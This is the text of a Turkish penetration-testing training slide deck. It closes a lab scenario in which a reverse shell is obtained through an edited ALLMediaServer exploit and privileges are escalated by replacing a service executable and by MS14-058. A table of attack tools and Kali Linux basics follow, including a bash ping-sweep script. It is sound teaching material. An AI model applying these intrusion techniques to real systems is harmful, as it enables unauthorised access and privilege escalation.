payload'umuzu karşılamak üzere TCP 5555 portundan dinleyen
servisimizi başlatalım.
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
Win64.exe shell.exe
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
Reverse TCP shell'imizi aldığımızda "whoami" komutu ile kullanıcı
haklarımızı kontrol edebiliriz.
Yetki Yükseltme
Alternatif Senaryo
SİSTEM – 2 (SENARYO)
ÖZETLE;
• TCP port taramasında bir servis tespit ettik ancak
ne servisi olduğu ve versiyonu ile ilgili bilgi
edinemedik.
• UDP port taramasında SNMP servisini ve
community string olarak "public" kelimesini
kullandığını tespit ettik.
• SNMP sorguları ile servisin ALLMediaServer
olduğuna dair bir fikir oluştu.
• Bu uygulama için yayınlanmış bir exploit kodunu
düzenledik ve shell aldık.
SİSTEM – 2 (SENARYO)
ÖZETLE (devamı);
• Yetki yükseltme çalışmaları için dosya yükleme
imkanı geliştirdik (wget.vbs ile)
• Hedef Windows bilgisayar üzerindeki servisleri ve
bu servislerin kodlarının bulunduğu dizinleri
inceledik.
• Erişim kontrolü yetersiz bir servis exe'sini kendi
payload'umuzla ezerek System erişimi elde ettik.
• Alternatif bir yetki yükseltme senaryosu olarak
MS14-058 yamasının yüklenmediğini tespit
ettiğimiz hedef sistem üzerinde bu exploit
vasıtasıyla yetkimizi yükselttik.
ÖRNEK SENARYOLARDA
KULLANDIĞIMIZ ARAÇLAR
Araçlar Platform Kullanım Amaçları
ifconfig Linux IP adres bilgilerini gösterir.
netdiscover Kali ARP vd. tekniklerle sunucu keşfi yapar.
nmap Kali
Port tarama, işletim sistemi ve servis keşfi yapar. Ayrıca
çeşitli yardımcı scriptler ile açıklık taramaları yapar.
searchsploit Kali
Kali üzerinde bulunan Exploit DB istismar kodları içinde
arama yapmak için kullanılır.
Burp Suite Kali
Web attack proxy aracıdır. Ücretsiz sürümündeki
fonksiyonalite sınırlıdır.
nikto Kali
Web sunucuları üzerinde belirli açıklıkları tarar ve backend
içerik taraması gerçekleştirir.
dirb Kali
Web sunucuları üzerinde frontend ve backend içerik
taraması gerçekleştirir.
Exploit DB web
sitesi
Web
İstismar kodlarının toplu biçimde sunulduğu bir web
sitesidir.
unzip Linux Linux üzerinde zip'li dosyaları açmak için kullanılır.
ÖRNEK SENARYOLARDA
KULLANDIĞIMIZ ARAÇLAR
Araçlar Platform Kullanım Amaçları
grep Linux
Linux üzerinde belirli bir kelimeyi dosyalar ve stdin içinde
arar, kelimenin bulunduğu satırı çıktı olarak üretir.
cewl Kali
Verilen hedef web sayfasındaki kelimelerden parola
sözlüğü oluşturur.
head Linux Belli bir dosyanın ilk satılarını görüntüler.
KoreLogic JTR
rule'ları
Kali
JTR parola kırma aracının parola üretme fonksiyonalitesi
için özel kurallar barındırır.
John the Ripper Kali
Çevrim dışı (offline) parola kırma aracıdır. Biz parola
sözlüğü türetmek için kullandık.
OWASP ZAP Kali Web attack proxy aracıdır.
msfvenom Kali
İstismar payload kodu üretmek için kullanılır. Makine dili
(executable) dahil pek çok dilde istismar kodu üretir.
netcat Kali
TCP ve UDP istemci ve sunucu olarak kullanılabilir. Ayrıca
port tarama imkanı da vardır.
msfconsole Kali
Metasploit framework'ün en çok kullanılan arayüzüdür.
Exploit işlemini otomatikleştirmek için pek çok
fonksiyonalitesi vardır.
ÖRNEK SENARYOLARDA
KULLANDIĞIMIZ ARAÇLAR
Araçlar Platform Kullanım Amaçları
meterpreter Kali
Çok aşamalı istismar kodu gönderme mimarisinde ve çeşitli
fonksiyonaliteleri sağlayan payload framework'üdür.
whoami
Linux /
Windows
Mevcut kullanıcı adımızı ve diğer bilgileri sorgulamayı
sağlar.
uname -a Linux
Linux sunucu adı, versiyonu ve kernel versiyonu bilgilerini
listeler.
cat /etc/*-release Linux
cat komutu dosya içeriğini listeler. release dosya içeriği
Linux işletim sistemi ile ilgili detay bilgi içerir.
id Linux Linux'ta mevcut kullanıcı kodu ve grup üyeliklerini listeler.
nbtscan Kali
Windows bilgisayarlar için uzaktan NetBIOS isim servisini
taramak için kullanılır.
snmp-check Kali SNMP servisi tarama aracıdır.
wmic service Windows
Windows bilgisayarlar üzerindeki WMI arayüzünden
(komut satırından) bilgi sorgulama aracıdır.
findstr Windows
Dosya ve stdin üzerinden aldığı satırlar içinde kelime
aracıdır.
ÖRNEK SENARYOLARDA
KULLANDIĞIMIZ ARAÇLAR
Araçlar Platform Kullanım Amaçları
cacls Windows
Windows dosya ve dizin erişim hakları sorgulama ve
tanımlama aracıdır.
vb script Windows Windows tarafından desteklenen bir script dilidir.
SimpleHTTPServer Kali
PHP, ASP v.b. web script dosyaları da dahil herhangi bir
dosyanın hedef sistem üzerinden HTTP protokolü ile
çekilebilmesi için kullanılan basit bir HTTP servis
modülüdür.
net stop / start Windows
Windows üzerinde servis durdurma ve başlatma
komutlarıdır.
Wireshark Kali Paket dinleme ve protokol analiz aracı.
OLASI SORULAR VE İLGİLİ BÖLÜMLER
Soru Eğitim Bölümü
Kali tam olarak nedir? Kali'ye Giriş
Kali'nin üzerine bir uygulama kurulum yöntemi
nedir?
Kali'ye Giriş
Linux üzerindeki temel komutlar nelerdir? Kali'ye Giriş
TCP, UDP, HTTP nedir? Bilgi Toplama
Nmap portları nasıl buluyor, işletim sistemini
nasıl tahmin ediyor?
Bilgi Toplama
Netcat nasıl çalışıyor? Bilgi Toplama
NetBIOS nedir? Bilgi Toplama
SNMP nedir? Bilgi Toplama
Whois nedir? Bilgi Toplama
Shellcode nedir? Bellek Taşma Açıklıkları
OLASI SORULAR VE İLGİLİ BÖLÜMLER
Soru Eğitim Bölümü
Msfvenom ile ürettiğimiz shellcode'lar neden
x ile başlayan bölümlerden oluşuyor?
Bellek Taşma Açıklıkları
Attack proxy tam olarak ne yapıyor? Web Uygulama Açıklıkları
Nikto ve dirb /admin dizinini nasıl buldu? Web Uygulama Açıklıkları
SQL injection nedir? Web Uygulama Açıklıkları
PHP nedir? Web Uygulama Açıklıkları
Payload nedir, shellcode'dan farkı nedir? Metasploit ve Meterpreter
Meterpreter nedir? Metasploit ve Meterpreter
John the Ripper ne işe yarıyor? Parola Kırma
Yetki yükseltme yöntemleri nelerdir? Yetki Yükseltme
Local exploit ne demektir? Yetki Yükseltme
KALİ'YE
GİRİŞ
İÇERİK
• Kali Linux Nedir?
• Linux Shell Ortamı
• Linux Dosya Sistemi İşlemleri
• Linux Dosya Bulma İşlemleri
• Linux Shell Scripting
• Linux Kullanıcı Yönetimi
• Linux Ağ Trafiği İzleme
• Kali Linux Servis Yönetimi
• Linux Uygulama Kurulumu
• Editörler ve Dosya İzleme Araçları
KALİ LINUX NEDİR?
• Kali bir (genel amaçlı konularda Debian paketleri baz alınarak
oluşturulmuş) Linux dağıtımıdır, ancak genel amaçlı olmayıp özellikle
sızma testi, adli bilişim ve tersine mühendislik amaçlarıyla kullanılmak
üzere özelleştirilmiştir.
• Kali’nin araçlar açısından genel eğilimden farklılaştığı bir nokta sadece
DOS, DDOS ve anonim internet erişimine özel araçları genellikle yasal
projelerde kullanılmadıkları gerekçesiyle dışlamış olması ve
barındırmamasıdır.
• Debian standartlarına bağlı kalınarak özelleştirilmiş bu dağıtımın kernel
seviyesinde ve güvenlik araçları uygulama kodları seviyesinde gerekli
görülen pek çok irili ufaklı özelleştirme yapılmıştır. Yani herhangi bir linux
işletim sistemi alınarak üzerine araçlar basit bir şekilde kurulmamıştır.
Çoğunluğu açık kaynak kodlu araçlardan oluşan güvenlik yazılım paketleri
ile ilgili bilgi ve yama linklerine http://tools.kali.org web sitesinden
ulaşabilirsiniz.
KALİ LINUX NEDİR?
Kali’nin diğer linux dağıtımlarından belli başlı farkları şunlardır:
• Tek kullanıcı ve “root” kullanıcısı olarak kullanılmak üzere tasarlanmıştır.
Bu yaklaşım normal sunucular için güvenlik açısından sakıncalıdır. Ancak
kali’de kullanılan araçların önemli bir kısmı root erişim haklarına ihtiyaç
duyurmakta ve her defasında sudo yapmaktan kurtulmak için bu yaklaşım
kullanılmaktadır.
• Kali genel amaçlı bir dağıtım değildir ve bu nedenle ağ servisi vermesi de
beklenmez. Bu yüzden sistem başlangıç konfigürasyonları tüm servisler
kapalı olacak şekildedir. Elbette siz servisleri açabilir ve bunları her reboot
işleminden sonra aktif hale gelecek şekilde ayarlayabilirsiniz. Ancak diğer
Linux dağıtımlarında yeni bir servis kurulduğunda öntanımlı olarak init
script'lerini oluşturarak aktif hale gelmesini sağlayan update-rc.d script'i
Kali Linux üzerinde değiştirilerek bir kara liste kontrolü yapılmıştır.
• Kali kablosuz ağ testleri için özelleştirilmiş bir kernel kullanmaktadır. Yani
ayrıca özel sürücüler kurma ihtiyacı yoktur.
KALİ LINUX NEDİR?
update-rc.d içindeki kara liste
KALİ LINUX NEDİR?
• Kali bir linux dağıtımı olmakla birlikte Linux’u öğrenmek için doğru bir
platform olduğu söylenemez. Linux hakkında temel deneyimleri edinmek
için Ubuntu, Debian, Mint gibi dağıtımlar tercih edilebilir.
• Bununla birlikte Kali’yi etkin olarak kullanmak için temel linux kullanıcı ve
sistem yönetici bilgisine sahip olmak gereklidir.
LINUX SHELL ORTAMI Kullanıcılar logon
olduklarında çalışacak olan
shell uygulaması /etc/passwd
dosyasında belirtilir.
SORU: /usr/sbin/nologin ve
/bin/false gibi dosyalar ne işe
yarıyor olabilir?..
Kullanıcı $HOME dizini
Kullanıcı logon olduğunda
içine düşeceği dizindir.
/etc/passwd
LINUX SHELL ORTAMI
Shell açılışı sırasında çalışan
profil script'leri
/etc/profile
~/.bash_profile
~/.bash_login
~/.profile
LINUX SHELL ORTAMI
Shell değişkenleri ve çevresel
değişkenlerin atanması ve
sorgulanması
LINUX SHELL ORTAMI
# env | more
ÇEVRESEL
DEĞİŞKENLER
$PATH çevresel değişkeni
LINUX SHELL ORTAMI
"echo" komutuyla shell
değişkenleri ve çevresel
değişken gösterme
LINUX SHELL ORTAMI
# nohup komutu ile arka
plandaki işin shell
proses'inden bağımsız
çalıştırılması
LINUX SHELL ORTAMI
Ctrl+Z, fg ve bg komutları ile
işlerin arka plana atılması ve
ön plana alınması
LINUX SHELL ORTAMI
stdout yönlendirme
(redirection)
">"
LINUX SHELL ORTAMI
stdout yönlendirme
(redirection) yapılsa da stderr
konsola yazılmaya devam
ediyor.
LINUX SHELL ORTAMI
Hem stdout'u hem de stderr'u
yönlendirme (redirection)
"&>" veya "2>&1"
LINUX SHELL ORTAMI
stdin yönlendirme
(redirection)
"<"
LINUX SHELL ORTAMI
Ekleme (append etme)
">>"
LINUX SHELL ORTAMI
Pipe ile bir sonraki komutun
stdin'ine veri aktarma
"|"
LINUX SHELL ORTAMI
"tee" komutu ile hem konsola hem
dosyaya veri yazma
LINUX SHELL ORTAMI
Diğer pratik shell komutları:
• sort: Adından da anlaşılacağı üzere almış olduğu girdiyi sıralayarak çıktı üretir
• uniq: Sıralanmış bir girdi dizisinden tekrarlayan satırları çıkararak satırları
tekil biçimde tekrar üretir
• grep: En sık kullanılan filtrelerden birisi olan “grep” komutu girdilerin içinde
belirli bir veri yapısını arar ve bu veri yapısının bulunduğu satırın tamamını
çıktı olarak tekrarlar. Yani veri yapısının görülmediği satırları eler. Veri yapısı
sabit bir metin olabileceği gibi bir “regular expression” da olabilir.
• head: Genellikle büyük bir dosya inceleneceği zaman sadece ilk birkaç
satırını görmek için kullanılır.
• tail: Genellikle büyük bir dosya inceleneceği zaman (örneğin bir log dosyası
gibi) dosyanın sadece son birkaç satırını görmek için kullanılır. Tail komutu
özellikle log dosyaları gibi sık değişen dosyaların sonuna eklenen satırların
sürekli izlenmesi için “-f” switch’i ile birlikte kullanılır.
• sed: Adı “stream editor”ün kısaltması olan “sed” komutu aldığı girdi içinde
gerekli değişiklik ve dönüşümleri yaparak çıktı üretir.
LINUX SHELL ORTAMI
Shell History dosyaları kullanıcıların
$HOME dizinlerinde bulunur ve
hassas bilgi içerebilir
LINUX SHELL ORTAMI
EGZERSİZ
• Kali bilgisayarınıza "root" kullanıcısı olarak logon olduğunuzda
shell'inizde tanımlı olan $PATH çevresel değişkeni "local path"i
(yani ".") içermekte midir?
• İçermiyorsa veya içermeseydi içinde bulunduğunuz dizindeki bir
uygulamayı / script'i nasıl çalıştırabilirdiniz?
LINUX DOSYA SİSTEMİ İŞLEMLERİ
"ls" komutu ile dizin ve dosyaları
listeleme
LINUX DOSYA SİSTEMİ İŞLEMLERİ
"ls -a" komutu ile normalde
görüntülenmeyen adı "." ile
başlayan dizin ve dosyaları
listeleme
LINUX DOSYA SİSTEMİ İŞLEMLERİ
"pwd" yani Present Working
Directory komutu ile içinde
bulunduğumuz dizinin adını
öğrenme
LINUX DOSYA SİSTEMİ İŞLEMLERİ
"ls -l" komutu ile dizin ve dosyaların
sahiplik, erişim hakları ve
boyutlarını listeleme
LINUX DOSYA SİSTEMİ İŞLEMLERİ
Dosya / dizin erişim haklarının bulunduğu bölümün başında özel erişim bayrağı
(special permission flag) bulunur.
[-] [rwx] [rwx] [rwx]
Bu ilk bölümde bulunabilecek tüm opsiyonlara farklı bir kaynaktan
ulaşabilirsiniz. Ancak burada sadece sıklıkla karşılaşılan opsiyonlara
değineceğim:
• “-“ karakteri dosyanın rutin bir dosya olduğuna işaret eder.
• “d” karakteri ilgili ismin bir dizin ismi olduğunu belirtir.
• “l” dosyanın aslında farklı bir dosyanın sembolik linki olduğunu belirtir.
Bu konuyu aşağıda açıklayacağız.
LINUX DOSYA SİSTEMİ İŞLEMLERİ
"ln -s" komutu ile sembolik link
oluşturma
LINUX DOSYA SİSTEMİ İŞLEMLERİ
Dosya erişim izinleri 3 farklı grup için verilir:
• Dosya sahibi kullanıcı (u - owner)
• Grup (g - group)
• Diğer (tüm) kullanıcılar (o - others)
Erişim hakları ise aşağıdaki gibidir:
• Okuma (r - read): Dosyalar için dosyanın içeriğinin görülebilmesi, dizinler için
dizin içeriğinin listelenmesi anlamına gelir.
• Yazma (w - write): Dosyalar için dosya içeriğinin değiştirilebilmesi, dizinler
için dizin içinde dosya oluşturma, dizin içindeki dosyaların adını değiştirme,
dizin içindeki dosyaları silme ve dizin özelliklerini (attributes) değiştirebilme
anlamına gelir.
• Çalıştırma (x - execute): Dosyalar için dosyanın (derlenmiş kod dosyası veya
script dosyası) çalıştırılabilmesi, dizinler için dizine giriş, dizinin içindeki dosya
ve dizinlere erişim hakkı anlamına gelir.
LINUX DOSYA SİSTEMİ İŞLEMLERİ
Setuid / setguid hakkına sahip dosyalar güvenlik denetimlerinde özellikle incelenir, çünkü
bu uygulamalar yüksek erişim hakkına sahip olduklarından düşük kullanıcı hakkına sahip
kullanıcılar tarafından kötüye kullanılabilirler. Ayrıca bu uygulamalardaki bir açıklık yüksek
kullanıcı haklarının herhangi bir işlem gerçekleştirilebilmesine de olanak tanıyabilir.
LINUX DOSYA SİSTEMİ İŞLEMLERİ
"chmod" komutu ile dosya erişim
haklarının düzenlenmesi
LINUX DOSYA SİSTEMİ İŞLEMLERİ
"cd" komutu ile relative dizin
değiştirme
LINUX DOSYA SİSTEMİ İŞLEMLERİ
"cp", "mv", "rename" ve "rm"
komutları
LINUX DOSYA BULMA İŞLEMLERİ
"which" komutu ile $PATH çevresel
değişkenindeki dizin sırasında ilk
bulunan çalıştırılabilir kodun
görüntülenmesi
"-a" opsiyonu ile tüm dizinlerde
bulunan çalıştırılabilir kodların
araştırılması
LINUX DOSYA BULMA İŞLEMLERİ
"locate" komutu “which” komutu gibi ne çalıştırılabilir dosyalara özeldir ne de sadece PATH
değişkeninde geçen dizinleri arar. “locate” komutu bir veritabanı içinde dosya isimlerini
arar. Bu veritabanı bir “cron” işiyle periyodik olarak güncellenirEğer veritabanını manuel
olarak güncellemek isterseniz “updatedb” komutuyla da bu işlemi yapabilirsiniz.
LINUX DOSYA BULMA İŞLEMLERİ
"find" komutunun "-name"
opsiyonu ile kullanılması ve "/etc"
dizini ve alt dizinlerinde ismi "prof"
ile başlayan tüm dosyaların
adlarının listelenmesi
LINUX DOSYA BULMA İŞLEMLERİ
EGZERSİZ
• "/usr" dizini ve onun altındaki dizinlerde "setuid" yani "s" biti
işaretli ve sahibi "root" kullanıcısı olan kaç adet dosya
bulunmaktadır?
İpucu: "man" komutu ile "find" komutunun manual page'ini
inceleyiniz. "man" komutu öntanımlı olarak "vi" editörünü (read-
only) kullanır. "vi" da bir kelimeyi aramak için "/"
karakterine bastıktan sonra kelimeyi
yazabilirsiniz. "find next" işlemi için "n"
tuşunu kullanınız.
İnternet'ten faydalanabilirsiniz.
LINUX SHELL SCRIPTING
#!/bin/bash
echo "Lütfen taranacak subnet'in ilk 3 octet'ini giriniz ve
[ENTER] tuşuna basınız (ör: 192.168.163)"
read SUBNET
function scan {
local YANIT="0"; local IP=$1.$2; local ECHO="echo-0"
hping3 $IP -c 1 -1 -C 8 >& aradosya.$IP # ECHO Request
if grep "1 packets received" aradosya.$IP >& /dev/null; then
if ! grep "Unreachable" aradosya.$IP >& /dev/null; then
ECHO="echo-1" # paket ICMP Unreachable yanıtı değil
fi
fi
echo $IP";"$ECHO
rm aradosya.$IP
}
for i in `seq 1 254`; do
scan $SUBNET $i
done
exit 0
LINUX SHELL SCRIPTING
Shell interpreter
Comment
Command Substitution
LINUX SHELL SCRIPTING
EGZERSİZ
• 1-50 arasındaki rakamları konsola yazan bir shell script
geliştiriniz ve çalıştırınız.
LINUX KULLANICI YÖNETİMİ
"/etc/passwd" dosyası
LINUX KULLANICI YÖNETİMİ
"/etc/group" dosyası
LINUX KULLANICI YÖNETİMİ
"/etc/shadow" dosyası
LINUX KULLANICI YÖNETİMİ
# hash-identifier aracı ile parola
hash'inin türünün incelenmesi
LINUX KULLANICI YÖNETİMİ
# adduser komutu ile kullanıcı
ekleme
LINUX KULLANICI YÖNETİMİ
Yeni oluşturulan btriskblog
kullanıcısı ile sisteme giriş ve "su"
komutu ile "root" kullanıcısına
geçiş
LINUX KULLANICI YÖNETİMİ
"sudo" yetkisinin verildiği
"/etc/sudoers" dosyası
LINUX KULLANICI YÖNETİMİ
"sudo" yetkisi kullanılarak kullanıcı
ekleme
LINUX KULLANICI YÖNETİMİ
EGZERSİZ
• Kali Linux bilgisayarınızın üzerinde öntanımlı olarak shell logon
olabilecek kaç kullanıcı bulunmaktadır?
• Shell logon olabilmek için gerekli kriterler nelerdir?
LINUX AĞ TRAFİĞİ İZLEME
"tcpdump"
stdout'a yazdırma
LINUX AĞ TRAFİĞİ İZLEME
"tcpdump"
filtreleme
LINUX AĞ TRAFİĞİ İZLEME
Wirehark
filtreleme
LINUX AĞ TRAFİĞİ İZLEME
Wirehark
TCP Stream
LINUX AĞ TRAFİĞİ İZLEME
EGZERSİZ
• "tcpdump" ile kaydettiğiniz ağ trafik paketlerini "Wireshark" ile
okuyarak inceleyiniz. "tcpdump" ile izleme yaparken bir web
trafiği oluşturarak ağ paketlerinin oluşmasını sağlayabilirsiniz.
İPUCU: "tcpdump"ın paketleri belli bir boyutta yakalaması ve bir
dosyaya yazması için gerekli komut opsiyonlarını araştırınız.
man dosyasından faydalanabileceğiniz gibi
internetten de faydalanabilirsiniz.
KALI LINUX SERVİS YÖNETİMİ
Debian'da "init" dosyası "systemd"
dosyasına linklenmiştir
"init" scriptlerinin yerini "systemd"
unitleri almıştır
KALI LINUX SERVİS YÖNETİMİ
Kali'de servis yönetimi için "systemctl"
komutunu kullanabilirsiniz
Bununla birlikte "init" script desteği ve
"service ... start / stop" komutları ile servis
yönetimi imkanı devam etmektedir
KALI LINUX SERVİS YÖNETİMİ
"root" kullanıcısı ile uzaktan "ssh"
bağlantısı kurabilmek için yapılması
gereken konfigürasyon ayarı
KALI LINUX SERVİS YÖNETİMİ
Putty ile uzaktan bağlantı
KALI LINUX SERVİS YÖNETİMİ
systemd service unit'lerine diğer
örnekler
KALI LINUX SERVİS YÖNETİMİ
EGZERSİZ
• Kali Linux bilgisayarınızda "root" kullanıcısının "ssh" logon
yapabilmesi için gerekli ayarı yapınız ve "ssh" servisini aktif hale
getiriniz. Windows host bilgisayarınıza "Putty" ssh client
uygulamasını indiriniz ve bu aracı kullanarak Kali Linux'a "root"
kullanıcısı ile "ssh" üzerinden bağlanınız.
• "ssh" bağlantınızı Wireshark ile izleyiniz.
LINUX UYGULAMA KURULUMU
Kali'nin üzerinde gelen uygulama
paketleri kaynak listesi
Kali'nin diğer dağıtımlardan temel
farklılıkları öntanımlı olarak bu
listenin daraltılımış olmasıdır
LINUX UYGULAMA KURULUMU
apt (Advanced Package Tool) aracının bilgisayar üzerindeki
paket bilgileri cache'ini güncellemek için herhangi bir
kurulum veya güncelleme öncesinde "apt-get update"
komutunu kullanınız.
LINUX UYGULAMA KURULUMU
apt paketleri cache dosyası örneği
LINUX UYGULAMA KURULUMU
apt ile uygulama kurmak için
"apt-get install ... "
Komutunu kullanınız
Kali apache2 paketinin
otomatik olarak kurulması ve
başlatılmasını engelledi
LINUX UYGULAMA KURULUMU
Sistem üzerinde kurulu paketleri incelemek için
"dpkg -list ... "
"apt" ve diğer paket yönetim araçları arka planda
"dpkg" komutunu kullanmaktadırlar
LINUX UYGULAMA KURULUMU
Kaynak kod'dan uygulama kurulumu
Kali üzerinde C kodlarının derlenmesi
için gerekli olan "build-essential"
paketi kurulu olarak gelmektedir
LINUX UYGULAMA KURULUMU
Kaynak kod'dan uygulama kurulumu
"configure" komutu ile C makefile'ı
oluşturulur
LINUX UYGULAMA KURULUMU
Kaynak kod'dan uygulama kurulumu
"make" komutu ile C uygulaması
derlenir
LINUX UYGULAMA KURULUMU
Kaynak kod'dan uygulama kurulumu
"make install" komutu ile derlenmiş
uygulama nesne dosyaları Linux'ta
uygun dizinlere yerleştirilir
LINUX UYGULAMA KURULUMU
EGZERSİZ
• Kali'nin resource'ları arasında bulunan ve parola kırma amacıyla
kullanılabilecek uygulamaları araştırınız.
İPUCU: "apt-get update" komutuyla uygulama paketleri cache'inizi
tazeleyin ve sonrasında "apt-cache search" komutunun man
page'inden faydalanarak arama yapınız.
EDİTÖRLER VE DOSYA İZLEME ARAÇLARI
"cat" komutu
Adı "concatenate" kelimesinden gelir,
dosyaları birleştirmek için pratik bir
komuttur, ancak tek bir dosya içeriğini
incelemek için de kullanılabilir
EDİTÖRLER VE DOSYA İZLEME ARAÇLARI
"vi" komutu
Çok sayıda tuş komutunu ezberlemeniz gerekir
ESC + "i" karakteri ile "input" moda geçebilirsiniz
ESC + ":" karakteri ile "komut" muduna geçebilirsiniz
EDİTÖRLER VE DOSYA İZLEME ARAÇLARI
"nano" editörü
Linux'la yeni tanışanlar için daha "vi"a
nazaran daha iyi bir alternatif
diyebiliriz
EDİTÖRLER VE DOSYA İZLEME ARAÇLARI
"head" komutu
EDİTÖRLER VE DOSYA İZLEME ARAÇLARI
"tail" komutu
"-f" opsiyonu ile sürekli güncelleme yapar, bu nedenle
özellikle log dosyalarını izlemek için tercih edilir
Uygulamali Sizma Testi (Pentest) Egitimi Sunumu - 1

More Related Content

What's hot

Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6BGA Cyber Security
 
İleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabıİleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab KitabıBGA Cyber Security
 
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab KitabıZararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab KitabıBGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15BGA Cyber Security
 
Arp protokolu ve guvenlik zafiyeti
Arp  protokolu ve guvenlik zafiyetiArp  protokolu ve guvenlik zafiyeti
Arp protokolu ve guvenlik zafiyetiBGA Cyber Security
 
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların KullanımıPenetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların KullanımıBGA Cyber Security
 
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders NotlarıBeyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders NotlarıBGA Cyber Security
 
GÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMAGÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMABGA Cyber Security
 
SIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMASIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMABGA Cyber Security
 
Nessus Kullanım Kitapçığı
Nessus Kullanım KitapçığıNessus Kullanım Kitapçığı
Nessus Kullanım KitapçığıBGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 1, 2, 3BGA Cyber Security
 
Sızma Testine Giriş - Fuat Ulugay
Sızma Testine Giriş  - Fuat UlugaySızma Testine Giriş  - Fuat Ulugay
Sızma Testine Giriş - Fuat UlugayFuat Ulugay, CISSP
 
BGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması ÇözümleriBGA CTF Ethical Hacking Yarışması Çözümleri
BGA CTF Ethical Hacking Yarışması ÇözümleriBGA Cyber Security
 
Siber Saldırılar i̇çin Erken Uyarı Sistemi
Siber Saldırılar i̇çin Erken Uyarı SistemiSiber Saldırılar i̇çin Erken Uyarı Sistemi
Siber Saldırılar i̇çin Erken Uyarı SistemiBGA Cyber Security
 
Hacklenmiş Web Sunucu Analizi
Hacklenmiş Web Sunucu AnaliziHacklenmiş Web Sunucu Analizi
Hacklenmiş Web Sunucu AnaliziBGA Cyber Security
 
Sizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugaySizma testine giris - Fuat Ulugay
Sizma testine giris - Fuat UlugayFuat Ulugay, CISSP
 

What's hot (20)

Metasploit El Kitabı
Metasploit El KitabıMetasploit El Kitabı
Metasploit El Kitabı
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 4, 5, 6
 
İleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabıİleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabı
 
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab KitabıZararlı Yazılım Analizi Eğitimi Lab Kitabı
Zararlı Yazılım Analizi Eğitimi Lab Kitabı
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 13, 14, 15
 
Arp protokolu ve guvenlik zafiyeti
Arp  protokolu ve guvenlik zafiyetiArp  protokolu ve guvenlik zafiyeti
Arp protokolu ve guvenlik zafiyeti
 
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların KullanımıPenetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
Penetrasyon Testlerinde Açık Kod Yazılımların Kullanımı
 
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders NotlarıBeyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
Beyaz Şapkalı Hacker Eğitimi Yardımcı Ders Notları
 
GÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMAGÜVENLİK SİSTEMLERİNİ ATLATMA
GÜVENLİK SİSTEMLERİNİ ATLATMA
 
SIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMASIZMA TESTLERİNDE BİLGİ TOPLAMA
SIZMA TESTLERİNDE BİLGİ TOPLAMA
 
Nessus Kullanım Kitapçığı
Nessus Kullanım KitapçığıNessus Kullanım Kitapçığı
Nessus Kullanım Kitapçığı
 
Kablosuz Ağlarda Adli Analiz
Kablosuz Ağlarda Adli AnalizKablosuz Ağlarda Adli Analiz
Kablosuz Ağlarda Adli Analiz
 
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim SunumuBTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
BTRİSK Web Uygulama Güvenliği Denetimi Eğitim Sunumu
